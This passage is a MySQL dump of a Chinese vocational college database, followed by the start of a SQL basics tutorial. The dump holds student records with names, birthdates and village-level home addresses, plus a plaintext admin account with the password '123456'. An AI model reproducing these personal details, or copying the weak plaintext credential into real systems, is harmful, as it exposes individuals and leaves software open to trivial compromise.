('2007030546', '裴海涛', '男', '1987-04-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽牡丹区菏泽三中');INSERT INTO `student` VALUES ('2007030547', '斐海霞', '女', '1987-12-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '德州临邑县翟家乡翟家村');INSERT INTO `student` VALUES ('2007030601', '马小美 ', '女', '1989-04-04', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂平邑县流峪镇谭家庄');INSERT INTO `student` VALUES ('2007030602', '王超', '男', '1988-12-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂平邑县温水镇西围沟村');INSERT INTO `student` VALUES ('2007030603', '王柯', '男', '1987-06-27', '20070306', '软件工程系 ', '软件技术(游戏方向)', '枣庄枣庄十八中学');INSERT INTO `student` VALUES ('2007030604', '王红圆', '男', '1988-02-15', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州平原县恩城镇魏庄村');INSERT INTO `student` VALUES ('2007030605', '李明轩', '男', '1989-06-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂兰山区临沂三中高中部');INSERT INTO `student` VALUES ('2007030606', '李凤丽', '女', '1987-06-07', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽东明县武胜桥乡李寨村');INSERT INTO `student` VALUES ('2007030607', '叶林林', '男', '1988-04-19', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济南市中区春元里');INSERT INTO `student` VALUES ('2007030608', '刘明刚', '男', '1989-08-21', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛胶南市泊里镇西庄村');INSERT INTO `student` VALUES ('2007030609', '刘海洋', '男', '1988-11-26', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛即墨市第一中学');INSERT INTO `student` VALUES ('2007030610', '刘小虎', '男', '1986-01-28', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽郓城县二中');INSERT INTO `student` VALUES ('2007030611', '刘鹏', '男', '1988-10-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '莱芜莱城区方下镇沈家岭');INSERT INTO `student` VALUES ('2007030612', '孙琳', '女', '1989-07-04', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛即墨市文化路');INSERT INTO `student` VALUES ('2007030613', '孙震东', '男', '1989-04-17', '20070306', '软件工程系 ', '软件技术(游戏方向)', '泰安肥城市杨庄矿机电区');INSERT INTO `student` VALUES ('2007030614', '东明', '男', '1988-12-19', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州陵县一中');INSERT INTO `student` VALUES ('2007030615', '林晓松', '男', '1988-12-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济南市中区党家庄镇党西村');INSERT INTO `student` VALUES ('2007030616', '林胜利', '男', '1987-07-28', '20070306', '软件工程系 ', '软件技术(游戏方向)', '泰安东平县沙河站镇乔村');INSERT INTO `student` VALUES ('2007030617', '宁海涛', '男', '1986-12-28', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁梁山县小安山镇');INSERT INTO `student` VALUES ('2007030618', '宋利明', '男', '1987-10-17', '20070306', '软件工程系 ', '软件技术(游戏方向)', '潍坊诸城市龙城中学');INSERT INTO `student` VALUES ('2007030619', '李小伟', '男', '1989-03-23', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽郓城县师范高中');INSERT INTO `student` VALUES ('2007030620', '李小敏', '女', '1988-11-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁金乡县兴隆乡杨堂村');INSERT INTO `student` VALUES ('2007030621', '李小龙', '男', '1985-05-08', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂莒南县坪上镇食品站');INSERT INTO `student` VALUES ('2007030622', '李龙龙', '男', '1987-01-01', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽单县终兴镇光明集王楼村');INSERT INTO `student` VALUES ('2007030623', '李兵兵', '男', '1988-05-10', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州武城县职业中专');INSERT INTO `student` VALUES ('2007030624', '宋得胜 ', '男', '1988-09-30', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州乐陵市胡家街道办韩家村');INSERT INTO `student` VALUES ('2007030625', '宋丽萍', '女', '1991-01-14', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂蒙阴县文庙路');INSERT INTO `student` VALUES ('2007030626', '宋明林', '男', '1988-01-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁任城区济东新村朗风园');INSERT INTO `student` VALUES ('2007030627', '宋海燕', '女', '1988-05-17', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁嘉祥县纸坊镇李山头村');INSERT INTO `student` VALUES ('2007030628', '李小刚', '男', '1989-10-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '泰安岱岳区二职专');INSERT INTO `student` VALUES ('2007030629', '李晓东', '男', '1988-09-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛李沧区永平路57号');INSERT INTO `student` VALUES ('2007030630', '樊晓东', '男', '1988-11-29', '20070306', '软件工程系 ', '软件技术(游戏方向)', '潍坊奎文区潍坊市奎文区东关街办');INSERT INTO `student` VALUES ('2007030631', '赵英英', '女', '1989-02-27', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛胶南市胶南电子学校');INSERT INTO `student` VALUES ('2007030632', '赵晓刚', '男', '1988-04-20', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂兰山区临沂三中');INSERT INTO `student` VALUES ('2007030633', '徐晓', '女', '1986-11-03', '20070306', '软件工程系 ', '软件技术(游戏方向)', '日照莒县日照市农业学校');INSERT INTO `student` VALUES ('2007030634', '徐海峰', '男', '1988-07-18', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂沂水县杨庄镇');INSERT INTO `student` VALUES ('2007030635', '张灿', '女', '1986-02-08', '20070306', '软件工程系 ', '软件技术(游戏方向)', '日照日照第六中学');INSERT INTO `student` VALUES ('2007030636', '张海亮', '男', '1988-03-13', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂郯城县红花乡红花埠北村');INSERT INTO `student` VALUES ('2007030637', '张海鹏', '女', '1988-10-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '枣庄滕州市东沙河镇韩楼村');INSERT INTO `student` VALUES ('2007030638', '张林涛', '男', '1989-08-13', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州武城县第二中学');INSERT INTO `student` VALUES ('2007030701', '尹小强', '男', '1988-04-24', '20070307', '软件工程系 ', '网络系统管理 ', '威海荣成市崖头镇崖头村三区5008号');INSERT INTO `student` VALUES ('2007030702', '付晓则 ', '男', '1988-07-15', '20070307', '软件工程系 ', '网络系统管理 ', '济宁微山县两城乡八村幸福中路');INSERT INTO `student` VALUES ('2007030703', '付丽艳', '女', '1989-03-04', '20070307', '软件工程系 ', '网络系统管理 ', '泰安肥城市新城办事处');INSERT INTO `student` VALUES ('2007030704', '任东明', '男', '1987-10-18', '20070307', '软件工程系 ', '网络系统管理 ', '泰安岱岳区山东省泰安第四中学');INSERT INTO `student` VALUES ('2007030705', '任晓栋', '男', '1989-02-08', '20070307', '软件工程系 ', '网络系统管理 ', '淄博临淄区辛店勇士');INSERT INTO `student` VALUES ('2007030706', '张美丽', '女', '1990-08-26', '20070307', '软件工程系 ', '网络系统管理 ', '临沂沂水县夏蔚镇东上位村');INSERT INTO `student` VALUES ('2007030707', '张美霞', '男', '1988-08-18', '20070307', '软件工程系 ', '网络系统管理 ', '菏泽成武县湖山职业高中');INSERT INTO `student` VALUES ('2007030708', '张晓', '男', '1986-01-05', '20070307', '软件工程系 ', '网络系统管理 ', '临沂莒南县相沟乡三义口村');INSERT INTO `student` VALUES ('2007030709', '张雷雷', '男', '1989-04-05', '20070307', '软件工程系 ', '网络系统管理 ', '临沂平邑县地方镇两泉村');INSERT INTO `student` VALUES ('2007030710', '张海涛', '男', '1989-08-02', '20070307', '软件工程系 ', '网络系统管理 ', '聊城莘县河店镇杨炉村');INSERT INTO `student` VALUES ('2007030711', '张海峰', '女', '1989-07-01', '20070307', '软件工程系 ', '网络系统管理 ', '日照岚山区西湖镇马安村');INSERT INTO `student` VALUES ('2007030712', '陈玉超 ', '男', '1988-11-04', '20070307', '软件工程系 ', '网络系统管理 ', '潍坊昌邑市五中');INSERT INTO `student` VALUES ('2007030713', '陈小涛', '男', '1987-08-30', '20070307', '软件工程系 ', '网络系统管理 ', '青岛平度市同和信用社');INSERT INTO `student` VALUES ('2007030714', '林玲', '女', '1987-06-05', '20070307', '软件工程系 ', '网络系统管理 ', '泰安肥城市王庄镇任庄村');INSERT INTO `student` VALUES ('2007030715', '林军超', '男', '1988-09-29', '20070307', '软件工程系 ', '网络系统管理 ', '临沂临沭县郑山镇罗屯村');INSERT INTO `student` VALUES ('2007030716', '林永杰', '男', '1990-05-17', '20070307', '软件工程系 ', '网络系统管理 ', '东营利津县职教中心');INSERT INTO `student` VALUES ('2007030717', '董秀丽', '女', '1989-03-13', '20070307', '软件工程系 ', '网络系统管理 ', '临沂河东区蒙凌学校');INSERT INTO `student` VALUES ('2007030718', '董华峰', '男', '1986-08-12', '20070307', '软件工程系 ', '网络系统管理 ', '菏泽牡丹区王浩屯镇郭寨村');INSERT INTO `student` VALUES ('2007030719', '程丽莉', '女', '1988-07-15', '20070307', '软件工程系 ', '网络系统管理 ', '菏泽定陶县定陶二中');INSERT INTO `student` VALUES ('2007030720', '程美娜', '男', '1987-10-12', '20070307', '软件工程系 ', '网络系统管理 ', '临沂沂水县第三中学');INSERT INTO `student` VALUES ('2007030721', '盛鑫', '男', '1987-09-20', '20070307', '软件工程系 ', '网络系统管理 ', '滨州阳信县阳信镇边家村');INSERT INTO `student` VALUES ('2007040101', '丁小玲', '女', '1987-10-12', '20070401', '社科艺术系 ', '法律事务 ', '梅河口翰林中学 ');INSERT INTO `student` VALUES ('2007040102', '于洋', '男', '1988-09-12', '20070401', '社科艺术系 ', '法律事务 ', '泰安岱岳区泰安三中 ');INSERT INTO `student` VALUES ('2007040103', '于晓艳', '女', '1987-09-10', '20070401', '社科艺术系 ', '法律事务 ', '潍坊诸城市诸城市第二中学 ');INSERT INTO `student` VALUES ('2007040104', '王朋朋', '男', '1987-02-11', '20070401', '社科艺术系 ', '法律事务 ', '临沂河东区蒙凌学校 ');INSERT INTO `student` VALUES ('2007040105', '王明亮', '男', '1988-02-07', '20070401', '社科艺术系 ', '法律事务 ', '青岛市北区桦川一路 ');INSERT INTO `student` VALUES ('2007040106', '王美婷', '女', '1988-07-20', '20070401', '社科艺术系 ', '法律事务 ', '青岛市北区东莞一路 ');INSERT INTO `student` VALUES ('2007040107', '王丽艳', '女', '1987-12-05', '20070401', '社科艺术系 ', '法律事务 ', '烟台招远市蚕庄镇洼子村593号 ');INSERT INTO `student` VALUES ('2007040108', '王海涛', '男', '1989-05-06', '20070401', '社科艺术系 ', '法律事务 ', '日照莒县 ');INSERT INTO `student` VALUES ('2007040109', '张小萌', '女', '1988-10-28', '20070401', '社科艺术系 ', '法律事务 ', '潍坊昌乐县昌乐一中十八班 ');INSERT INTO `student` VALUES ('2007040110', '张宇轩', '女', '1988-01-10', '20070401', '社科艺术系 ', '法律事务 ', '临沂莒南县壮岗镇东坡村 ');INSERT INTO `student` VALUES ('2007040111', '张红杰', '男', '1988-01-22', '20070401', '社科艺术系 ', '法律事务 ', '日照莒县第二中学 ');INSERT INTO `student` VALUES ('2007040112', '张丽源', '女', '1985-06-01', '20070401', '社科艺术系 ', '法律事务 ', '聊城莘县第二中学 ');INSERT INTO `student` VALUES ('2007040113', '李永帅', '男', '1987-08-10', '20070401', '社科艺术系 ', '法律事务 ', '潍坊潍城区福寿街西首潍坊七中 ');INSERT INTO `student` VALUES ('2007040114', '朱小婷', '女', '1989-09-16', '20070401', '社科艺术系 ', '法律事务 ', '菏泽牡丹区西城百园社区穆楼村 ');INSERT INTO `student` VALUES ('2007040115', '朱龙峰', '男', '1987-09-19', '20070401', '社科艺术系 ', '法律事务 ', '青岛市北区台东一路118号 ');INSERT INTO `student` VALUES ('2007040116', '史娇姣', '女', '1988-07-25', '20070401', '社科艺术系 ', '法律事务 ', '济南天桥区东仁和街290号 ');INSERT INTO `student` VALUES ('2007040117', '陈婷', '女', '1988-06-08', '20070401', '社科艺术系 ', '法律事务 ', '济南市中区玉函路48号 ');INSERT INTO `student` VALUES ('2007040118', '陈丽莎', '女', '1989-04-11', '20070401', '社科艺术系 ', '法律事务 ', '济宁任城区接庄镇东郑庄村 ');INSERT INTO `student` VALUES ('2007040119', '赵斐', '女', '1989-03-09', '20070401', '社科艺术系 ', '法律事务 ', '青岛平度市城关福州路114号 ');INSERT INTO `student` VALUES ('2007040120', '崔小雯', '女', '1988-08-23', '20070401', '社科艺术系 ', '法律事务 ', '日照莒县小店镇后山头渊村 ');INSERT INTO `student` VALUES ('2007040121', '张法军', '男', '1988-12-25', '20070401', '社科艺术系 ', '法律事务 ', '淄博高青县黑里寨镇箕张村225号 ');INSERT INTO `student` VALUES ('2007040122', '张小梅', '女', '1988-08-06', '20070401', '社科艺术系 ', '法律事务 ', '泰安岱岳区山东省泰安第四中学 ');INSERT INTO `student` VALUES ('2007040123', '唐林超', '男', '1989-04-10', '20070401', '社科艺术系 ', '法律事务 ', '菏泽郓城县二中 ');INSERT INTO `student` VALUES ('2007040124', '唐杰刚', '男', '1988-02-24', '20070401', '社科艺术系 ', '法律事务 ', '日照五莲县一中 ');INSERT INTO `student` VALUES ('2007040125', '杜桂明', '男', '1987-09-07', '20070401', '社科艺术系 ', '法律事务 ', '烟台莱州市沙河镇西杜家村 ');INSERT INTO `student` VALUES ('2007040126', '杜秀霞 ', '女', '1989-08-01', '20070401', '社科艺术系 ', '法律事务 ', '聊城莘县职业中专 ');INSERT INTO `student` VALUES ('2007040127', '林美霞', '女', '1988-02-11', '20070401', '社科艺术系 ', '法律事务 ', '潍坊寿光市现代中学 ');INSERT INTO `student` VALUES ('2007040128', '赵晨', '女', '1987-11-25', '20070401', '社科艺术系 ', '法律事务 ', '济宁梁山县小安山镇宋庄村 ');INSERT INTO `student` VALUES ('2007040129', '徐鹏程', '男', '1987-06-06', '20070401', '社科艺术系 ', '法律事务 ', '济宁金乡县中心街西路 ');INSERT INTO `student` VALUES ('2007040130', '徐军鹏', '男', '1987-10-05', '20070401', '社科艺术系 ', '法律事务 ', '烟台海阳市盘石店镇徐家泊村 ');INSERT INTO `student` VALUES ('2007040131', '董小芹', '女', '1989-01-07', '20070401', '社科艺术系 ', '法律事务 ', '聊城莘县妹冢镇辛店集村 ');INSERT INTO `student` VALUES ('2007040132', '董晓婷', '女', '1987-10-16', '20070401', '社科艺术系 ', '法律事务 ', '河北省邯郸市涉县二中 ');INSERT INTO `student` VALUES ('2007040133', '董静静', '女', '1986-04-01', '20070401', '社科艺术系 ', '法律事务 ', '河北省冀州市冀中分校 ');INSERT INTO `student` VALUES ('2007040201', '林晓梅', '女', '1988-06-12', '20070402', '社科艺术系 ', '电子商务 ', '云南省曲靖市沾益县第三中学 ');INSERT INTO `student` VALUES ('2007050101', '林静', '女', '1989-03-27', '20070501', '信息工程系 ', '电子商务 ', '德州夏津县新盛店镇西季庄 ');INSERT INTO `student` VALUES ('2007050102', '齐玉米', '男', '1989-05-16', '20070501', '信息工程系 ', '电子商务 ', '潍坊寿光市台头镇邢家茅坨村 ');INSERT INTO `student` VALUES ('2007050103', '齐小杰', '男', '1988-10-28', '20070501', '信息工程系 ', '电子商务 ', '东营广饶县广饶镇颜一村 ');INSERT INTO `student` VALUES ('2007050104', '齐军军', '女', '1988-07-18', '20070501', '信息工程系 ', '电子商务 ', '青岛城阳区城阳街道城子村0927号 ');INSERT INTO `student` VALUES ('2007050105', '王明鹏', '男', '1987-03-12', '20070501', '信息工程系 ', '电子商务 ', '潍坊奎文区东风东街2306号 ');INSERT INTO `student` VALUES ('2007050106', '王晓美', '女', '1987-10-18', '20070501', '信息工程系 ', '电子商务 ', '青岛莱西市马连庄镇 ');INSERT INTO `student` VALUES ('2007050107', '王爱爱', '女', '1988-06-22', '20070501', '信息工程系 ', '电子商务 ', '烟台海阳市徐家店镇取水崖村 ');INSERT INTO `student` VALUES ('2007050108', '王奋斗', '男', '1987-02-12', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌邑市卜庄镇大王村 ');INSERT INTO `student` VALUES ('2007050109', '王芳', '女', '1988-03-25', '20070501', '信息工程系 ', '电子商务 ', '潍坊寿光市营里镇东北河村 ');INSERT INTO `student` VALUES ('2007050110', '王玉婷', '女', '1988-10-16', '20070501', '信息工程系 ', '电子商务 ', '烟台海阳市朱吴镇三王家村 ');INSERT INTO `student` VALUES ('2007050111', '王小雪', '女', '1987-11-10', '20070501', '信息工程系 ', '电子商务 ', '菏泽单县谢集乡谢花园村王庄 ');INSERT INTO `student` VALUES ('2007050112', '于玉婷 ', '女', '1988-08-25', '20070501', '信息工程系 ', '电子商务 ', '潍坊寒亭区寒亭一中 ');INSERT INTO `student` VALUES ('2007050113', '于德智', '男', '1988-11-19', '20070501', '信息工程系 ', '电子商务 ', '枣庄滕州市羊庄镇史屯村');INSERT INTO `student` VALUES ('2007050114', '田小军', '男', '1988-12-01', '20070501', '信息工程系 ', '电子商务 ', '青岛胶州市常州路668号 ');INSERT INTO `student` VALUES ('2007050115', '田帅帅', '男', '1986-04-12', '20070501', '信息工程系 ', '电子商务 ', '菏泽成武县二中 ');INSERT INTO `student` VALUES ('2007050116', '田小鹏', '男', '1988-07-10', '20070501', '信息工程系 ', '电子商务 ', '青岛平度市麻兰镇任家河岔村 ');INSERT INTO `student` VALUES ('2007050117', '田静', '女', '1989-04-12', '20070501', '信息工程系 ', '电子商务 ', '聊城东阿县刘集镇东苫山村 ');INSERT INTO `student` VALUES ('2007050118', '李志豪', '男', '1989-01-17', '20070501', '信息工程系 ', '电子商务 ', '青岛四方区小水清沟');INSERT INTO `student` VALUES ('2007050119', '李美菊', '女', '1987-08-07', '20070501', '信息工程系 ', '电子商务 ', '临沂沂水县综合高中 ');INSERT INTO `student` VALUES ('2007050120', '李秋菊', '女', '1988-11-30', '20070501', '信息工程系 ', '电子商务 ', '菏泽曹县古营集镇曹庄行政村 ');INSERT INTO `student` VALUES ('2007050121', '刘雪', '女', '1989-05-24', '20070501', '信息工程系 ', '电子商务 ', '枣庄薛城区邹坞镇野场村');INSERT INTO `student` VALUES ('2007050122', '刘玉兰', '女', '1988-11-09', '20070501', '信息工程系 ', '电子商务 ', '滨州博兴县陈户镇相孙村 ');INSERT INTO `student` VALUES ('2007050123', '刘青青', '女', '1986-03-13', '20070501', '信息工程系 ', '电子商务 ', '潍坊奎文区东风东街 ');INSERT INTO `student` VALUES ('2007050124', '张平丽', '女', '1988-09-25', '20070501', '信息工程系 ', '电子商务 ', '泰安岱岳区泰安第四中学 ');INSERT INTO `student` VALUES ('2007050125', '张睿', '男', '1989-04-01', '20070501', '信息工程系 ', '电子商务 ', '淄博桓台县起凤镇西巩村 ');INSERT INTO `student` VALUES ('2007050126', '张瑞东', '女', '1988-08-01', '20070501', '信息工程系 ', '电子商务 ', '菏泽曹县韩集镇 ');INSERT INTO `student` VALUES ('2007050127', '张家磊', '男', '1989-07-20', '20070501', '信息工程系 ', '电子商务 ', '潍坊寿光市营里镇中营村 ');INSERT INTO `student` VALUES ('2007050128', '张震', '女', '1988-08-26', '20070501', '信息工程系 ', '电子商务 ', '滨州博兴县博兴镇皂户村 ');INSERT INTO `student` VALUES ('2007050129', '林玉霞', '女', '1988-02-18', '20070501', '信息工程系 ', '电子商务 ', '云南省大理州鹤庆县金墩乡北溪村');INSERT INTO `student` VALUES ('2007050130', '林晓静', '女', '1987-08-29', '20070501', '信息工程系 ', '电子商务 ', '济宁梁山县梁山镇林庄村 ');INSERT INTO `student` VALUES ('2007050131', '张玉雷', '男', '1988-11-26', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌邑市围子镇中密村 ');INSERT INTO `student` VALUES ('2007050132', '张美婷', '女', '1988-01-10', '20070501', '信息工程系 ', '电子商务 ', '菏泽鄄城县第一中学 ');INSERT INTO `student` VALUES ('2007050133', '李德阳', '男', '1988-01-23', '20070501', '信息工程系 ', '电子商务 ', '青岛莱西市武备镇吴格庄村 ');INSERT INTO `student` VALUES ('2007050134', '李新', '女', '1988-03-22', '20070501', '信息工程系 ', '电子商务 ', '临沂沂南县大庄镇金佛院村 ');INSERT INTO `student` VALUES ('2007050135', '李成龙', '男', '1988-10-15', '20070501', '信息工程系 ', '电子商务 ', '青岛莱西市威东中兴街 ');INSERT INTO `student` VALUES ('2007050136', '闫玉花', '女', '1987-08-27', '20070501', '信息工程系 ', '电子商务 ', '吉林省农安县伏龙泉中学 ');INSERT INTO `student` VALUES ('2007050137', '安晓君 ', '女', '1986-10-13', '20070501', '信息工程系 ', '电子商务 ', '菏泽定陶县定陶二中音乐组 ');INSERT INTO `student` VALUES ('2007050138', '张甜甜', '女', '1989-01-05', '20070501', '信息工程系 ', '电子商务 ', '东营广饶县大码头乡大码头三村 ');INSERT INTO `student` VALUES ('2007050139', '张梦楠', '女', '1989-09-14', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌乐县崔家庄镇');INSERT INTO `student` VALUES ('2007050140', '任萍萍', '女', '1988-04-01', '20070501', '信息工程系 ', '电子商务 ', '潍坊安丘市吾山镇墨黑村 ');INSERT INTO `student` VALUES ('2007050141', '杨晓玉', '女', '1988-12-04', '20070501', '信息工程系 ', '电子商务 ', '潍坊诸城市诸城市南关路 ');INSERT INTO `student` VALUES ('2007050142', '杨美婷', '女', '1988-01-16', '20070501', '信息工程系 ', '电子商务 ', '菏泽曹县韩集镇堤上范 ');INSERT INTO `student` VALUES ('2007050143', '杨晓丹', '男', '1988-01-05', '20070501', '信息工程系 ', '电子商务 ', '临沂临沭县二中 ');INSERT INTO `student` VALUES ('2007050144', '赵天', '男', '1987-10-06', '20070501', '信息工程系 ', '电子商务 ', '潍坊临朐县寺头镇赵家北坡村 ');INSERT INTO `student` VALUES ('2007050145', '唐平安 ', '男', '1988-12-07', '20070501', '信息工程系 ', '电子商务 ', '菏泽定陶县一中 ');INSERT INTO `student` VALUES ('2007050146', '匡玉萍', '女', '1988-06-21', '20070501', '信息工程系 ', '电子商务 ', '青岛四方区嘉善路848号 ');INSERT INTO `student` VALUES ('2007050147', '王美凤', '女', '1987-12-27', '20070501', '信息工程系 ', '电子商务 ', '潍坊寒亭区一中 ');INSERT INTO `student` VALUES ('2007050148', '王玉玲', '女', '1988-01-15', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌乐县第一中学 ');INSERT INTO `student` VALUES ('2007050149', '张海峰', '男', '1990-01-15', '20070501', '信息工程系 ', '电子商务 ', '潍坊青州市郑母泥河店村 ');INSERT INTO `student` VALUES ('2007050150', '明天', '女', '1988-11-15', '20070501', '信息工程系 ', '电子商务 ', '潍坊诸城市诸城市实验中学高中部 ');INSERT INTO `student` VALUES ('2007050151', '呼唤', '女', '1988-07-03', '20070501', '信息工程系 ', '电子商务 ', '潍坊安丘市赵戈镇埠望庄 ');INSERT INTO `student` VALUES ('2007050152', '程娜娜', '女', '1987-07-10', '20070501', '信息工程系 ', '电子商务 ', '潍坊奎文区东风东街 ');INSERT INTO `student` VALUES ('2007050153', '刘可可', '男', '1987-07-16', '20070501', '信息工程系 ', '电子商务 ', '枣庄滕州市蒋庄矿高档一队 ');INSERT INTO `student` VALUES ('2007050154', '张可心', '女', '1988-08-03', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌乐县昌乐二中 ');INSERT INTO `student` VALUES ('2007050155', '李玉美', '女', '1986-10-22', '20070501', '信息工程系 ', '电子商务 ', '济宁梁山县大路口乡翟楼村 ');INSERT INTO `student` VALUES ('2007050156', '李林艳', '女', '1988-03-14', '20070501', '信息工程系 ', '电子商务 ', '临沂莒南县坪上寨子河 ');INSERT INTO `student` VALUES ('2007050157', '崔玲玲 ', '男', '1988-11-12', '20070501', '信息工程系 ', '电子商务 ', '潍坊潍城区福寿街西首潍坊七中 ');INSERT INTO `student` VALUES ('2007050201', '魏强刚', '男', '1988-05-28', '20070502', '信息工程系 ', '电子商务 ', '青岛平度市平度市华怡公寓1673号楼 ');INSERT INTO `student` VALUES ('2007050202', '魏铭宇', '男', '1989-12-26', '20070502', '信息工程系 ', '电子商务 ', '济宁梁山县大路口乡王朝刚村2358号 ');-- ------------------------------ Table structure for suser-- ----------------------------DROP TABLE IF EXISTS `suser`;CREATE TABLE `suser` ( `username` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `password` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `userlevel` varchar(1) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of suser-- ----------------------------INSERT INTO `suser` VALUES ('admin ', '123456 ', '1');-- ------------------------------ Table structure for teacher-- ----------------------------DROP TABLE IF EXISTS `teacher`;CREATE TABLE `teacher` ( `Tno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `Tname` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, `Tsex` varchar(2) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `Tbirthday` datetime NULL DEFAULT NULL, `Tdept` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`Tno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of teacher-- ----------------------------INSERT INTO `teacher` VALUES ('101', '李新', '男', '1977-01-12 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('102', '钱军', '女', '1968-06-04 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('103', '刘静', '女', '1965-01-21 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('104', '王大强', '男', '1956-03-23 00:00:00', 'd02');INSERT INTO `teacher` VALUES ('201', '刘伟', '男', '1964-01-01 00:00:00', 'd01');INSERT INTO `teacher` VALUES ('202', '王心仪', '女', '1966-09-17 00:00:00', 'd01');INSERT INTO `teacher` VALUES ('203', '李俊杰', '男', '1968-04-24 00:00:00', 'd01');INSERT INTO `teacher` VALUES ('301', '张平国', '男', '1967-12-01 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('302', '任平', '女', '1978-05-07 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('303', '马丽', '女', '1981-07-05 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('304', '顾小朋', '男', '1984-08-01 00:00:00', 'd04');INSERT INTO `teacher` VALUES ('401', '王东玲', '女', '1963-12-01 00:00:00', 'd05');INSERT INTO `teacher` VALUES ('402', '李从陈', '男', '1969-09-07 00:00:00', 'd05');INSERT INTO `teacher` VALUES ('403', '刘栋', '男', '1982-04-29 00:00:00', 'd05');INSERT INTO `teacher` VALUES ('501', '张式朋', '男', '1978-06-11 00:00:00', 'd03');INSERT INTO `teacher` VALUES ('502', '王月', '女', '1973-09-03 00:00:00', 'd03');INSERT INTO `teacher` VALUES ('503', '王小花', '女', '1962-01-28 00:00:00', 'd03');INSERT INTO `teacher` VALUES ('601', '张青', '女', '1968-01-01 00:00:00', 'd06');INSERT INTO `teacher` VALUES ('602', '孙亮', '男', '1977-05-21 00:00:00', 'd06');-- ------------------------------ Table structure for teaching-- ----------------------------DROP TABLE IF EXISTS `teaching`;CREATE TABLE `teaching` ( `cno` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `tno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `cterm` tinyint(4) NULL DEFAULT NULL, PRIMARY KEY (`cno`, `tno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of teaching-- ----------------------------INSERT INTO `teaching` VALUES ('a01 ', '403', 1);INSERT INTO `teaching` VALUES ('a02 ', '601', 1);INSERT INTO `teaching` VALUES ('b01 ', '202', 2);INSERT INTO `teaching` VALUES ('b02 ', '201', 3);INSERT INTO `teaching` VALUES ('c01 ', '101', 2);INSERT INTO `teaching` VALUES ('c02 ', '102', 1);INSERT INTO `teaching` VALUES ('c03 ', '201', 3);INSERT INTO `teaching` VALUES ('c04 ', '503', 1);INSERT INTO `teaching` VALUES ('c05 ', '503', 2);INSERT INTO `teaching` VALUES ('c10 ', '501', 3);INSERT INTO `teaching` VALUES ('c11 ', '103', 5);SET FOREIGN_KEY_CHECKS = 1; MySQL–常用命令了解SQL什么是SQLStructured Query Languange:结构化查询语言 其实就是定义了操作所有关系型数据库的规则.每一种数据库操作的方式存在不一样的地方,称为”方 言”. SQL语句的编写规则与注释 语句书写: SQL语句可以单行或多行书写,每句的结束都应该以分号(;)结尾. 为了提高可读性,可以适当使用空格和缩进. 大小写敏感性: MySQL数据库中的SQL语言关键词不区分大小写,但出于可读性和编写规范考虑,建议将关键词使用大写形式. 注释方法: 单行注释 使用两个连字符后跟空格来注释内容(-- 注释内容),这是MySQL特有的注释方式. 使用井号(#注释内容),这也是MySQL特有的注释方式. 多行注释 使用/* 注释内容 */来注释多行,这是标准SQL的注释方式. SQL分类 DDL (Data Definition Language) - 数据定义语言 用于定义数据库对象,如数据库、表、列等. 关键字包括:CREATE, DROP, ALTER, SHOW, USE等. DML (Data Manipulation Language) - 数据操作语言 用于对数据库中表的数据进行增加、删除、修改. 关键字包括:INSERT, DELETE, 